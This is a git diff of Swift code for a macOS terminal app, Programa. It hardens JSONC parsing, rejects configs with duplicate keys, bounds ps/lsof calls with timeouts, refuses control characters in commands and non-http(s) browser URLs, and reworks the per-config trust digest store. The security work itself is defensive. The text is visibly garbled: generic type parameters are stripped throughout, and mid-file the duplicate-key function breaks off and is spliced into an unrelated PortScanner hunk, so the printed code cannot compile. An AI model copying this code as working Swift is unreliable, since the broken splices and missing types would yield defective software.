b/Sources/JSONCParser.swift index 30702e7d4..1b3e766fe 100644 --- a/Sources/JSONCParser.swift +++ b/Sources/JSONCParser.swift @@ -84,119 +84,182 @@ enum JSONCParser { } } + // Both scanners walk Unicode scalars, never `Character`s: Swift merges "\r\n" into one + // grapheme that never equals "\n", so a Character scan let a `//` comment in a CRLF file + // swallow the rest of the file. Scalars also keep a combining mark after a quote from + // hiding the quote. private static func stripComments(from source: String) throws -> String { - var result = "" - var index = source.startIndex + let scalars = Array(source.unicodeScalars) + var result = String.UnicodeScalarView() + var index = 0 var inString = false var isEscaped = false - while index < source.endIndex { - let character = source[index] + while index < scalars.count { + let scalar = scalars[index] if inString { - result.append(character) + result.append(scalar) if isEscaped { isEscaped = false - } else if character == "\\" { + } else if scalar == "\\" { isEscaped = true - } else if character == "\"" { + } else if scalar == "\"" { inString = false } - index = source.index(after: index) + index += 1 continue } - if character == "\"" { + if scalar == "\"" { inString = true - result.append(character) - index = source.index(after: index) + result.append(scalar) + index += 1 continue } - if character == "/" { - let nextIndex = source.index(after: index) - if nextIndex < source.endIndex { - let next = source[nextIndex] - if next == "/" { - index = source.index(after: nextIndex) - while index < source.endIndex && source[index] != "\n" { - index = source.index(after: index) - } - continue + if scalar == "/", index + 1 < scalars.count { + let next = scalars[index + 1] + if next == "/" { + index += 2 + while index < scalars.count && scalars[index] != "\n" && scalars[index] != "\r" { + index += 1 } - if next == "*" { - index = source.index(after: nextIndex) - var didClose = false - while index < source.endIndex { - let current = source[index] - let followingIndex = source.index(after: index) - if current == "*" && followingIndex < source.endIndex && source[followingIndex] == "/" { - index = source.index(after: followingIndex) - didClose = true - break - } - index = followingIndex - } - guard didClose else { - throw JSONCError.unterminatedBlockComment + continue + } + if next == "*" { + index += 2 + var didClose = false + while index < scalars.count { + if scalars[index] == "*", index + 1 < scalars.count, scalars[index + 1] == "/" { + index += 2 + didClose = true + break } - continue + index += 1 } + guard didClose else { + throw JSONCError.unterminatedBlockComment + } + continue } } - result.append(character) - index = source.index(after: index) + result.append(scalar) + index += 1 } - return result + return String(result) } private static func stripTrailingCommas(from source: String) -> String { - var result = "" - var index = source.startIndex + let scalars = Array(source.unicodeScalars) + var result = String.UnicodeScalarView() + var index = 0 var inString = false var isEscaped = false - while index < source.endIndex { - let character = source[index] + while index < scalars.count { + let scalar = scalars[index] if inString { - result.append(character) + result.append(scalar) if isEscaped { isEscaped = false - } else if character == "\\" { + } else if scalar == "\\" { isEscaped = true - } else if character == "\"" { + } else if scalar == "\"" { inString = false } - index = source.index(after: index) + index += 1 continue } - if character == "\"" { + if scalar == "\"" { inString = true - result.append(character) - index = source.index(after: index) + result.append(scalar) + index += 1 continue } - if character == "," { - var lookahead = source.index(after: index) - while lookahead < source.endIndex && source[lookahead].isWhitespace { - lookahead = source.index(after: lookahead) + if scalar == "," { + var lookahead = index + 1 + while lookahead < scalars.count && scalars[lookahead].properties.isWhitespace { + lookahead += 1 } - if lookahead < source.endIndex && (source[lookahead] == "}" || source[lookahead] == "]") { - index = source.index(after: index) + if lookahead < scalars.count && (scalars[lookahead] == "}" || scalars[lookahead] == "]") { + index += 1 continue } } - result.append(character) - index = source.index(after: index) + result.append(scalar) + index += 1 } - return result + return String(result) + } + + /// True when any JSON object in `data` (plain JSON, already run through `preprocess`) + /// repeats a key. Foundation's parsers do not promise which duplicate wins, and the trust + /// digest (`JSONSerialization`) and command decoding (`JSONDecoder`) are different parsers, + /// so a config with duplicate keys could be approved as one thing and run as another. + /// Callers reject such configs outright. Keys compare after JSON unescaping, so `"a"` and + /// `"\u0061"` count as the same key. Returns false for text that is not well-formed enough + /// to scan; the real parser reports those errors. + static func containsDuplicateObjectKeys(_ data: Data) -> Bool { + guard let source = String(data: data, encoding: .utf8) else { return false } + let scalars = Array(source.unicodeScalars) + // One entry per open container: nil for an array, the keys seen so far for an object. + var stack: [Set?] = [] + var index = 0 + while index < scalars.count { + let scalar = scalars[index] + switch scalar { + case "{": + stack.append(Set()) + index += 1 + case "[": + stack.append(nil) + index += 1 + case "}", "]": + if !stack.isEmpty { stack.removeLast() } + index += 1 + case "\"": + let start = index + index += 1 + var isEscaped = false + while index < scalars.count { + let current = scalars[index] + index += 1 + if isEscaped { + isEscaped = false + } else if current == "\\" { + isEscaped = true + } else if current == "\"" { + break + } + } + var lookahead = index + while lookahead < scalars.count && scalars[lookahead].properties.isWhitespace { + lookahead += 1 + } + guard lookahead < scalars.count, scalars[lookahead] == ":", + let last = stack.indices.last, var keys = stack[last] else { continue } + var literal = String.UnicodeScalarView() + literal.append(contentsOf: scalars[start.. -iTCP -sTCP:LISTEN -F pn let pidsCsv = allPids.sorted().map(String.init).joined(separator: ",") - let pidToPorts = runLsof(pidsCsv: pidsCsv) + guard let pidToPorts = runLsof(pidsCsv: pidsCsv) else { return } // 3. Join: PID→TTY + PID→ports → TTY→ports var portsByTTY: [String: Set] = [:] @@ -489,7 +498,7 @@ final class PortScanner: @unchecked Sendable { } let pidsCsv = agentPidToWorkspaces.keys.sorted().map(String.init).joined(separator: ",") - let pidToPorts = runLsof(pidsCsv: pidsCsv) + guard let pidToPorts = runLsof(pidsCsv: pidsCsv) else { return } var agentPortsByWorkspace: [UUID: Set] = [:] for (pid, ports) in pidToPorts { guard let workspaceIdsForPid = agentPidToWorkspaces[pid] else { continue } @@ -644,26 +653,35 @@ final class PortScanner: @unchecked Sendable { return pidToWorkspaces } - private func runPS(ttyList: String) -> [Int: String] { + /// Every `ps`/`lsof` run is bounded: a hung `lsof` (for example on a stale network mount) + /// used to block this serial queue, and with it all port scanning, for the rest of the + /// session. Returns nil when the tool timed out or could not run; callers skip the cycle. + private static let subprocessTimeout: TimeInterval = 5 + private static let subprocessStdoutLimit = 16 * 1024 * 1024 + private static let subprocessStderrLimit = 1024 * 1024 + + private func runBoundedTool(_ path: String, arguments: [String]) -> String? { + let result = CanonicalSubprocessRunner.run( + executable: path, + arguments: arguments, + currentDirectory: "/", + timeout: Self.subprocessTimeout, + stdoutLimit: Self.subprocessStdoutLimit, + stderrLimit: Self.subprocessStderrLimit, + executableURL: URL(fileURLWithPath: path) + ) + // `ps -t` and `lsof` exit 1 when nothing matched; only a run that did not finish + // normally is a failure. + guard result.outcome == .exited else { return nil } + return result.stdout ?? "" + } + + private func runPS(ttyList: String) -> [Int: String]? { // `ps -t tty1,tty2,... -o pid=,tty=` — targeted scan, much cheaper than -ax. - let process = Process() - let pipe = Pipe() - process.executableURL = URL(fileURLWithPath: "/bin/ps") - process.arguments = ["-t", ttyList, "-o", "pid=,tty="] - process.standardOutput = pipe - process.standardError = FileHandle.nullDevice - - do { - try process.run() - } catch { - return [:] + guard let output = runBoundedTool("/bin/ps", arguments: ["-t", ttyList, "-o", "pid=,tty="]) else { + return nil } - let data = pipe.fileHandleForReading.readDataToEndOfFile() - process.waitUntilExit() - - guard let output = String(data: data, encoding: .utf8) else { return [:] } - var mapping: [Int: String] = [:] for line in output.split(separator: "\n") { let parts = line.split(whereSeparator: \.isWhitespace) @@ -675,24 +693,10 @@ final class PortScanner: @unchecked Sendable { } private func runAllProcesses() -> [Int: Int] { - let process = Process() - let pipe = Pipe() - process.executableURL = URL(fileURLWithPath: "/bin/ps") - process.arguments = ["-ax", "-o", "pid=,ppid="] - process.standardOutput = pipe - process.standardError = FileHandle.nullDevice - - do { - try process.run() - } catch { + guard let output = runBoundedTool("/bin/ps", arguments: ["-ax", "-o", "pid=,ppid="]) else { return [:] } - let data = pipe.fileHandleForReading.readDataToEndOfFile() - process.waitUntilExit() - - guard let output = String(data: data, encoding: .utf8) else { return [:] } - var mapping: [Int: Int] = [:] for line in output.split(separator: "\n") { let parts = line.split(whereSeparator: \.isWhitespace) @@ -704,7 +708,8 @@ final class PortScanner: @unchecked Sendable { return mapping } - private func runLsof(pidsCsv: String) -> [Int: Set] { + /// Nil when any `lsof` chunk failed to finish: a partial answer would drop ports. + private func runLsof(pidsCsv: String) -> [Int: Set]? { let pids = pidsCsv.split(separator: ",").compactMap { Int($0) } guard pids.count > Self.lsofMaximumPIDsPerInvocation else { return runLsofChunk(pidsCsv: pidsCsv) @@ -713,7 +718,8 @@ final class PortScanner: @unchecked Sendable { var result: [Int: Set] = [:] for chunk in Self.lsofPIDChunks(pids) { let csv = chunk.map(String.init).joined(separator: ",") - for (pid, ports) in runLsofChunk(pidsCsv: csv) { + guard let chunkResult = runLsofChunk(pidsCsv: csv) else { return nil } + for (pid, ports) in chunkResult { result[pid, default: []].formUnion(ports) } } @@ -747,27 +753,18 @@ final class PortScanner: @unchecked Sendable { return chunks } - private func runLsofChunk(pidsCsv: String) -> [Int: Set] { + private func runLsofChunk(pidsCsv: String) -> [Int: Set]? { if let lsofChunkOverride { return lsofChunkOverride(pidsCsv) } - // `lsof -nP -a -p -iTCP -sTCP:LISTEN -F pn` - let process = Process() - let pipe = Pipe() - process.executableURL = URL(fileURLWithPath: "/usr/sbin/lsof") - process.arguments = ["-nP", "-a", "-p", pidsCsv, "-iTCP", "-sTCP:LISTEN", "-Fpn"] - process.standardOutput = pipe - process.standardError = FileHandle.nullDevice - - do { - try process.run() - } catch { - return [:] + // `lsof -b -w -nP -a -p -iTCP -sTCP:LISTEN -F pn`. `-b` avoids kernel calls + // that can block (stat/lstat/readlink on a dead mount); `-w` drops the warnings `-b` + // would print. + guard let output = runBoundedTool( + "/usr/sbin/lsof", + arguments: ["-b", "-w", "-nP", "-a", "-p", pidsCsv, "-iTCP", "-sTCP:LISTEN", "-Fpn"] + ) else { + return nil } - let data = pipe.fileHandleForReading.readDataToEndOfFile() - process.waitUntilExit() - - guard let output = String(data: data, encoding: .utf8) else { return [:] } - // Parse lsof -F output: lines starting with 'p' = PID, 'n' = name (host:port). var result: [Int: Set] = [:] var currentPid: Int? diff --git a/Sources/ProgramaConfig.swift b/Sources/ProgramaConfig.swift index cfb830772..aa093f538 100644 --- a/Sources/ProgramaConfig.swift +++ b/Sources/ProgramaConfig.swift @@ -524,6 +524,13 @@ final class ProgramaConfigStore: ObservableObject { NSLog("[ProgramaConfig] JSONC preprocessing error at %@: %@", path, String(describing: error)) return nil } + // The trust digest and this decoder are different parsers; a repeated key could be + // approved under one value and executed under the other. See + // `JSONCParser.containsDuplicateObjectKeys`. + guard !JSONCParser.containsDuplicateObjectKeys(sanitized) else { + NSLog("[ProgramaConfig] rejecting %@: an object repeats a key", path) + return nil + } do { return try JSONDecoder().decode(ProgramaConfigFile.self, from: sanitized) diff --git a/Sources/ProgramaConfigExecutor.swift b/Sources/ProgramaConfigExecutor.swift index 891b15678..8a2dfce5d 100644 --- a/Sources/ProgramaConfigExecutor.swift +++ b/Sources/ProgramaConfigExecutor.swift @@ -19,6 +19,23 @@ struct ProgramaConfigExecutor { let resolvedCommand = command.command.map { substituteParameters(in: $0, values: parameterValues) } + guard !commandTexts(of: command, resolvedCommand: resolvedCommand) + .contains(where: containsDisallowedControlCharacters) else { + let alert = NSAlert() + alert.messageText = String( + localized: "conf.programaConfig.invalidCommand.title", + defaultValue: "Command Needs Correction" + ) + alert.informativeText = String( + localized: "conf.programaConfig.invalidCommand.message", + defaultValue: "This programa.json command contains control characters (such as Escape or Tab) that the shell would act on but the confirmation dialog cannot show. Remove them and try again. Nothing was run." + ) + alert.alertStyle = .warning + alert.addButton(withTitle: String(localized: "common.ok", defaultValue: "OK")) + alert.runModal() + return + } + guard confirmIfUntrusted( kind: .command, confirmFlag: command.confirm == true, @@ -90,6 +107,67 @@ struct ProgramaConfigExecutor { return true } + /// True when `text` holds a C0 control other than a newline, DEL, or a C1 control. Shell + /// line editors act on these (ESC sequences, ^U, ^W, ^Y, Tab completion), and NSAlert shows + /// most of them as nothing, so the dialog and the shell would disagree about the command. + /// Newlines stay allowed: they separate the lines of a multi-line command, and the dialog + /// shows each one as a visible ⏎. + static func containsDisallowedControlCharacters(_ text: String) -> Bool { + text.unicodeScalars.contains { scalar in + (scalar.value < 0x20 && scalar != "\n") || (0x7F...0x9F).contains(scalar.value) + } + } + + /// Every command string an entry would type into a terminal: the top-level command, or + /// each surface command of a workspace layout. + static func commandTexts(of command: ProgramaCommandDefinition, resolvedCommand: String?) -> [String] { + if let text = resolvedCommand ?? command.command { + return [text] + } + guard let layout = command.workspace?.layout else { return [] } + return surfaceDefinitions(in: layout).compactMap(\.command) + } + + private static func surfaceDefinitions(in node: ProgramaLayoutNode) -> [ProgramaSurfaceDefinition] { + switch node { + case let .pane(pane): + return pane.surfaces + case let .split(split): + return split.children.flatMap(surfaceDefinitions(in:)) + } + } + + /// Whether a config-sourced browser surface may load `rawURL`: only absolute http(s) + /// URLs. `file:`, `javascript:`, custom app schemes and the like are refused. + static func isAllowedConfigBrowserURL(_ rawURL: String) -> Bool { + guard let url = URL(string: rawURL), + let scheme = url.scheme?.lowercased(), + scheme == "http" || scheme == "https", + let host = url.host, !host.isEmpty else { + return false + } + return true + } + + /// The layout with every browser surface URL that `isAllowedConfigBrowserURL` refuses + /// removed, so such a surface opens blank instead of loading it. + static func layoutRefusingNonHTTPBrowserURLs(_ node: ProgramaLayoutNode) -> ProgramaLayoutNode { + switch node { + case var .pane(pane): + pane.surfaces = pane.surfaces.map { surface in + var surface = surface + if surface.type == .browser, let url = surface.url, !isAllowedConfigBrowserURL(url) { + surface.url = nil + } + return surface + } + return .pane(pane) + case var .split(split): + split.children = split.children.map(layoutRefusingNonHTTPBrowserURLs) + return .split(split) + } + } + /// The security decision, isolated from the UI so it can be tested directly. /// /// | directory | `confirm:` | prompt? | @@ -184,12 +262,17 @@ struct ProgramaConfigExecutor { ) } + // When settings.json manages the trusted roots, a root granted from this dialog would be + // dropped on the next reapply, so the checkbox is only offered for a config whose root the + // file already trusts (recording its digest survives the reapply). + let trustIsFileManaged = KeyboardShortcutSettings.settingsFileStore.isTrustedDirectoriesManagedByFile() + let offerTrust = !trusted && !(trustIsFileManaged && trustState == .untrusted) return showConfirmDialog( title: title, messageFormat: messageFormat, affirmativeButtonTitle: affirmativeButtonTitle, detail: detail, - configPath: trusted ? nil : configSourcePath, + configPath: offerTrust ? configSourcePath : nil, configChanged: configChanged ) } @@ -224,10 +307,13 @@ struct ProgramaConfigExecutor { ), sanitizeForDisplay(workspaceName) )] + if let cwd = workspace.cwd, !cwd.isEmpty { + lines.append(" cwd=" + sanitizeForDisplay(cwd)) + } let surfaceLines = workspace.layout.map(surfaceDescriptions(in:)) ?? [] if surfaceLines.isEmpty { - return lines[0] + return lines.joined(separator: "\n") } lines.append("") lines.append(contentsOf: surfaceLines.map { " " + $0 }) @@ -260,11 +346,25 @@ struct ProgramaConfigExecutor { } /// Human-readable summary of one surface's observable effects, or nil if it does - /// nothing (no command, cwd, or env). Every attacker-controlled string is sanitized + /// nothing (no command, cwd, env, or URL). Every attacker-controlled string is sanitized /// individually before composition. private static func describeSurface(_ surface: ProgramaSurfaceDefinition) -> String? { var parts: [String] = [] + if surface.type == .browser, let url = surface.url, !url.isEmpty { + if isAllowedConfigBrowserURL(url) { + parts.append("url=" + sanitizeForDisplay(url)) + } else { + parts.append(String( + format: String( + localized: "conf.programaConfig.urlRefused", + defaultValue: "url=%@ (not opened: only http and https URLs load)" + ), + sanitizeForDisplay(url) + )) + } + } + if let command = surface.command, !command.isEmpty { parts.append(sanitizeForDisplay(command)) } @@ -467,9 +567,11 @@ struct ProgramaConfigExecutor { private static func sanitizeForDisplay(_ text: String) -> String { // Collapse newlines WITHIN this single value -- the composed multi-line summary // still needs real newlines BETWEEN entries, which callers add after this returns. + // Each line break becomes a visible ⏎, so a multi-line command reads as several + // commands instead of one joined line. let collapsed = strippingDangerousScalars(text).replacingOccurrences( - of: "[\\r\\n]+", - with: " ", + of: "\\r\\n|\\r|\\n", + with: " ⏎ ", options: .regularExpression ) let trimmed = collapsed.trimmingCharacters(in: .whitespacesAndNewlines) @@ -527,6 +629,6 @@ struct ProgramaConfigExecutor { } guard let layout = wsDef.layout else { return } - newWorkspace.applyCustomLayout(layout, baseCwd: resolvedCwd) + newWorkspace.applyCustomLayout(layoutRefusingNonHTTPBrowserURLs(layout), baseCwd: resolvedCwd) } } diff --git a/Sources/ProgramaDirectoryTrust.swift b/Sources/ProgramaDirectoryTrust.swift index 191f9178a..a9656f314 100644 --- a/Sources/ProgramaDirectoryTrust.swift +++ b/Sources/ProgramaDirectoryTrust.swift @@ -8,43 +8,53 @@ import Foundation /// trusted one entries run straight away unless the author marked them `confirm: true`. See /// `ProgramaConfigExecutor.requiresConfirmation` for the full table. /// -/// (This used to read "`confirm: true` commands skip the dialog", which described the older -/// behaviour where the config file decided whether it got checked at all. It no longer does.) -/// /// Global config (~/.config/programa/programa.json) is always trusted. /// -/// Trust is pinned to the config's *executable content* at the moment it was approved, not just -/// to the directory: each trusted entry records a SHA-256 digest of the config with JSONC -/// comments/trailing commas stripped and keys canonically sorted, so editing a comment or -/// reformatting the file does not re-prompt, but changing an actual command does. A later pull -/// that changes an already-trusted `programa.json` therefore surfaces `.changed` instead of -/// silently running the new content. See `trustState(configPath:globalConfigPath:)`. Formerly -/// tracked in https://github.com/darkroomengineering/programa/issues/188. +/// Trust is pinned to each config's *executable content* at the moment it was approved, not +/// just to the directory. The trusted root (the git repo root, or the config's directory outside +/// a repo) maps to one SHA-256 digest per config file under it, keyed by the config's resolved +/// path, so two `programa.json` files in one monorepo never overwrite each other's digest. The +/// digest covers the config with JSONC comments/trailing commas stripped and keys canonically +/// sorted, so editing a comment or reformatting the file does not re-prompt, but changing an +/// actual command does. A config under a trusted root with no recorded digest (a root added in +/// Settings or settings.json, a migrated legacy entry, a nested config nobody approved yet) +/// reads as `.changed` and prompts once instead of being adopted silently. See +/// `trustState(configPath:globalConfigPath:)`. final class ProgramaDirectoryTrust: @unchecked Sendable { static let shared = ProgramaDirectoryTrust() static let didChangeNotification = Notification.Name("programa.directoryTrustDidChange") /// Outcome of comparing a config's current content against what was trusted. enum TrustState { - /// Trusted and, if a digest was recorded, the content still matches it. + /// Trusted, and the config's content still matches the digest recorded for it. case trusted - /// Trusted at some point, but the config's executable content has changed since. + /// The config sits under a trusted root, but its content differs from what was approved + /// or no approval was ever recorded for this exact file. case changed - /// Never trusted (or the trusted config can no longer be read/digested). + /// Never trusted (or the config can no longer be read/digested). case untrusted } - /// On-disk shape, version 2. Value is the SHA-256 hex digest of the config's executable - /// content at approval time, or `nil` for a legacy entry that predates digesting (adopted - /// silently on first query, see `trustState`). + /// Trusted root -> (resolved config path -> SHA-256 hex digest of its executable content). + typealias ConfigDigests = [String: String] + + /// On-disk shape, version 3. + private struct TrustStoreV3: Codable { + var version: Int + var directories: [String: ConfigDigests] + } + + /// Version 2: one optional digest per root. Read only for migration. private struct TrustStoreV2: Codable { var version: Int var directories: [String: String?] } + private static let currentStoreVersion = 3 + private let storePath: String private let stateLock = NSLock() - private var trustedDirectories: [String: String?] + private var trustedDirectories: [String: ConfigDigests] private convenience init() { let appSupport = FileManager.default.urls( @@ -73,13 +83,9 @@ final class ProgramaDirectoryTrust: @unchecked Sendable { trustState(configPath: configPath, globalConfigPath: globalConfigPath) == .trusted } - /// Three-state trust query: `.trusted`, `.changed` (trusted before, content differs now), or - /// `.untrusted`. - /// - /// A legacy entry (trusted under the pre-digest scheme, so its stored digest is `nil`) is - /// adopted silently here: the current digest is computed and persisted with no prompt, then - /// enforced from then on. A trusted entry whose config can no longer be read or digested - /// fails closed to `.untrusted` rather than treating an unreadable file as still-trusted. + /// Three-state trust query. Fails closed: a root that is absent is `.untrusted`; a root that + /// is present but holds no digest for this exact config, or a digest that differs, is + /// `.changed`; an unreadable config is `.untrusted`. Nothing is ever adopted silently. func trustState(configPath: String, globalConfigPath: String) -> TrustState { if configPath == globalConfigPath { return .trusted } @@ -87,40 +93,31 @@ final class ProgramaDirectoryTrust: @unchecked Sendable { guard let currentDigest = Self.executableDigest(forConfigAt: configPath) else { return .untrusted } + let configKey = Self.configKey(for: configPath) stateLock.lock() - guard let storedDigest = trustedDirectories[trustKey] else { - stateLock.unlock() + defer { stateLock.unlock() } + guard let digests = trustedDirectories[trustKey] else { return .untrusted } - - guard let storedDigest else { - // Legacy entry with no digest -- adopt silently, no prompt. - trustedDirectories[trustKey] = currentDigest - saveLocked() - stateLock.unlock() - postDidChangeNotification() - return .trusted - } - - let result: TrustState = storedDigest == currentDigest ? .trusted : .changed - stateLock.unlock() - return result + return digests[configKey] == currentDigest ? .trusted : .changed } /// Trust the directory containing a programa.json. If the programa.json is inside a git - /// repo, trusts the repo root (covering all subdirectories). Records the config's current - /// executable-content digest so a later edit to the file is detected. + /// repo, trusts the repo root. Records this config's current executable-content digest so a + /// later edit to the file is detected; digests recorded for other configs under the same + /// root are kept. func trust(configPath: String) { + // An unreadable config has no digest and must not create or widen a trusted entry. + guard let digest = Self.executableDigest(forConfigAt: configPath) else { return } let trustKey = Self.trustKey(for: configPath) - let digest = Self.executableDigest(forConfigAt: configPath) + let configKey = Self.configKey(for: configPath) stateLock.lock() defer { stateLock.unlock() postDidChangeNotification() } - // An unreadable config has no digest and must not create a trusted entry. - trustedDirectories[trustKey] = digest + trustedDirectories[trustKey, default: [:]][configKey] = digest saveLocked() } @@ -154,18 +151,21 @@ final class ProgramaDirectoryTrust: @unchecked Sendable { return Array(trustedDirectories.keys).sorted() } - /// Replace all trusted paths (used by Settings textarea save and settings-backup restore). - /// Entries arriving this way carry no digest -- they go through the same silent-adoption - /// path as a legacy entry the first time their config is queried. + /// Replace the set of trusted roots (used by the Settings textarea, settings.json, and + /// settings-backup restore). Roots that stay keep every digest recorded for them; roots that + /// arrive new carry no digests, so each config under them prompts once (`.changed`) before + /// it can run unprompted. Does nothing, and posts nothing, when the set is unchanged. func replaceAll(with paths: [String]) { - var replacement: [String: String?] = [:] - for path in paths { - // `replacement[path] = nil` would REMOVE the key: on a dictionary with an optional - // value type, assigning nil through the subscript deletes the entry rather than - // storing a nil value. `updateValue` is the only way to store "present, no digest". - replacement.updateValue(nil, forKey: path) - } stateLock.lock() + let requested = Set(paths) + guard requested != Set(trustedDirectories.keys) else { + stateLock.unlock() + return + } + var replacement: [String: ConfigDigests] = [:] + for path in requested { + replacement[path] = trustedDirectories[path] ?? [:] + } trustedDirectories = replacement saveLocked() stateLock.unlock() @@ -189,6 +189,9 @@ final class ProgramaDirectoryTrust: @unchecked Sendable { static func executableDigest(forConfigAt path: String) -> String? { guard let data = FileManager.default.contents(atPath: path), !data.isEmpty else { return nil } guard let sanitized = try? JSONCParser.preprocess(data: data) else { return nil } + // A config with a repeated key never gets a digest, so it can never be trusted: the + // digest and the command decoder could disagree about which value is real. + guard !JSONCParser.containsDuplicateObjectKeys(sanitized) else { return nil } let canonical: Data if let object = try? JSONSerialization.jsonObject(with: sanitized), let encoded = try? JSONSerialization.data(withJSONObject: object, options: [.sortedKeys]) { @@ -211,6 +214,18 @@ final class ProgramaDirectoryTrust: @unchecked Sendable { return configDir } + /// Resolved path of a config file, used as the per-config digest key. Symlinks and `/var` + /// vs `/private/var` style aliases collapse to one key, so trusting and querying the same + /// file through different spellings never disagree. Falls back to the standardized path when + /// the file does not exist. + static func configKey(for configPath: String) -> String { + if let resolved = realpath(configPath, nil) { + defer { free(resolved) } + return String(cString: resolved) + } + return (configPath as NSString).standardizingPath + } + /// Walk up from `directory` looking for a `.git` directory or file. private static func findGitRoot(from directory: String) -> String? { let fm = FileManager.default @@ -227,24 +242,39 @@ final class ProgramaDirectoryTrust: @unchecked Sendable { return nil } - /// Decode the on-disk store. Tries the versioned object shape first (current format), then - /// falls back to the flat `[String]` array that is live on every existing user's disk - /// (mapping each path to a nil/legacy digest). Never crashes and never wipes the file on a - /// decode error -- an empty result just means "nothing trusted yet". - private static func load(fromStorePath path: String) -> [String: String?] { + /// Decode the on-disk store. Reads the current version-3 shape first, then migrates the + /// version-2 shape (one digest per root) and the flat `[String]` array of the pre-digest + /// store. Never crashes and never wipes the file on a decode error -- an empty result just + /// means "nothing trusted yet". + /// + /// A version-2 digest was recorded for whichever config was trusted under that root, which + /// in practice is the root's own `programa.json` (or legacy `cmux.json`), so it migrates to + /// that file's key. If the guess is wrong the affected config prompts once as `.changed`. + /// Entries with no digest migrate to an empty map and prompt once too. + private static func load(fromStorePath path: String) -> [String: ConfigDigests] { guard let data = FileManager.default.contents(atPath: path), !data.isEmpty else { return [:] } + if let current = try? JSONDecoder().decode(TrustStoreV3.self, from: data), + current.version == currentStoreVersion { + return current.directories + } + if let versioned = try? JSONDecoder().decode(TrustStoreV2.self, from: data) { - return versioned.directories + var map: [String: ConfigDigests] = [:] + for (root, digest) in versioned.directories { + if let digest { + map[root] = [configKey(for: migratedConfigPath(forRoot: root)): digest] + } else { + map[root] = [:] + } + } + return map } if let paths = try? JSONDecoder().decode([String].self, from: data) { - var map: [String: String?] = [:] + var map: [String: ConfigDigests] = [:] for path in paths { - // Must be `updateValue`, not `map[path] = nil` -- see the note in `replaceAll`. - // Subscript-assigning nil here would delete every key and silently drop the - // trust set of every user upgrading from the flat-array format. - map.updateValue(nil, forKey: path) + map[path] = [:] } return map } @@ -252,10 +282,20 @@ final class ProgramaDirectoryTrust: @unchecked Sendable { return [:] } + private static func migratedConfigPath(forRoot root: String) -> String { + let programaPath = (root as NSString).appendingPathComponent("programa.json") + let legacyPath = (root as NSString).appendingPathComponent("cmux.json") + let fm = FileManager.default + if !fm.fileExists(atPath: programaPath), fm.fileExists(atPath: legacyPath) { + return legacyPath + } + return programaPath + } + /// Caller holds `stateLock`; notification is deliberately posted after unlocking so a /// synchronous observer can safely query or replace trust without deadlocking this store. private func saveLocked() { - let store = TrustStoreV2(version: 2, directories: trustedDirectories) + let store = TrustStoreV3(version: Self.currentStoreVersion, directories: trustedDirectories) guard let data = try? JSONEncoder().encode(store) else { return } FileManager.default.createFile(atPath: storePath, contents: data) } diff --git a/Sources/ProgramaSettingsFileStore.swift b/Sources/ProgramaSettingsFileStore.swift index a87284883..dede5184a 100644 --- a/Sources/ProgramaSettingsFileStore.swift +++ b/Sources/ProgramaSettingsFileStore.swift @@ -1,3 +1,4 @@ +import Bonsplit import Combine import Foundation @@ -21,6 +22,10 @@ final class ProgramaSettingsFileStore { static let shared = ProgramaSettingsFileStore() static let currentSchemaVersion = 1 + /// Posted (on any thread) after every reload attempt, including one that kept the previous + /// settings because the file failed to parse. Settings observes it to refresh which rows + /// are managed by the file and whether to show the parse-error banner. + static let didReloadNotification = Notification.Name("programa.settingsFile.didReload") static let schemaURLString = "https://raw.githubusercontent.com/darkroomengineering/programa/main/Resources/settings.schema.json" private static let releaseBundleIdentifier = "com.darkroom.programa" @@ -79,6 +84,7 @@ final class ProgramaSettingsFileStore { private var activeManagedUserDefaults: [String: ManagedSettingsValue] = [:] private var activeManagedCustomSettings = ManagedCustomSettings() private var isApplyingManagedSettings = false + private var lastParseError: String? private(set) var activeSourcePath: String? init( @@ -159,15 +165,32 @@ final class ProgramaSettingsFileStore { } private func reloadOnManagedSettingsQueue() { + defer { notificationCenter.post(name: Self.didReloadNotification, object: self) } let previousShortcuts = synchronized { shortcutsByAction } let previousActiveSourcePath = synchronized { activeSourcePath } - let resolved = resolveSettings() + let resolved: ResolvedSettingsSnapshot + switch resolveSettings() { + case .resolved(let snapshot): + resolved = snapshot + case .invalid(let path, let message): + // A file that fails to parse is usually a save in the middle of an edit. Keep every + // value applied from the last good parse instead of restoring the pre-file backups + // (which would flip socket mode, clear the password and drop trusted directories + // until the next good save), and tell the user what is wrong. + dilog("settings.file", "parse error at \(path), keeping previous settings: \(message)") + synchronized { + lastParseError = message + if activeSourcePath == nil { activeSourcePath = path } + } + return + } applyManagedSettings(snapshot: resolved) synchronized { shortcutsByAction = resolved.shortcuts activeManagedUserDefaults = resolved.managedUserDefaults activeManagedCustomSettings = resolved.managedCustomSettings activeSourcePath = resolved.path + lastParseError = nil } if previousShortcuts != resolved.shortcuts || previousActiveSourcePath != resolved.path { @@ -175,6 +198,26 @@ final class ProgramaSettingsFileStore { } } + /// The parse error of the active settings file when its last reload failed (the previous + /// good settings stay applied meanwhile), or nil when it parsed. + func currentParseError() -> String? { + synchronized { lastParseError } + } + + /// Whether settings.json currently sets the UserDefaults key `defaultsKey`. A control bound + /// to such a key is reverted on the next reapply, so Settings disables it. + func isManagedByFile(defaultsKey: String) -> Bool { + synchronized { activeManagedUserDefaults[defaultsKey] != nil } + } + + func isTrustedDirectoriesManagedByFile() -> Bool { + synchronized { activeManagedCustomSettings.trustedDirectories != nil } + } + + func isSocketPasswordManagedByFile() -> Bool { + synchronized { activeManagedCustomSettings.socketPassword != nil } + } + func override(for action: KeyboardShortcutSettings.Action) -> StoredShortcut? { synchronized { shortcutsByAction[action] } } @@ -278,33 +321,40 @@ final class ProgramaSettingsFileStore { return body() } - private func resolveSettings() -> ResolvedSettingsSnapshot { + private enum ResolveResult { + case resolved(ResolvedSettingsSnapshot) + /// The active file exists but could not be parsed. An invalid primary never falls + /// through to the fallback file. + case invalid(path: String, message: String) + } + + private func resolveSettings() -> ResolveResult { switch loadSettings(at: primaryPath) { case .parsed(let snapshot): - return snapshot - case .invalid: - return ResolvedSettingsSnapshot(path: primaryPath) + return .resolved(snapshot) + case .invalid(let message): + return .invalid(path: primaryPath, message: message) case .missing: break } guard let fallbackPath else { - return ResolvedSettingsSnapshot(path: nil) + return .resolved(ResolvedSettingsSnapshot(path: nil)) } switch loadSettings(at: fallbackPath) { case .parsed(let snapshot): - return snapshot - case .invalid: - return ResolvedSettingsSnapshot(path: fallbackPath) + return .resolved(snapshot) + case .invalid(let message): + return .invalid(path: fallbackPath, message: message) case .missing: - return ResolvedSettingsSnapshot(path: nil) + return .resolved(ResolvedSettingsSnapshot(path: nil)) } } private enum LoadResult { case missing - case invalid + case invalid(String) case 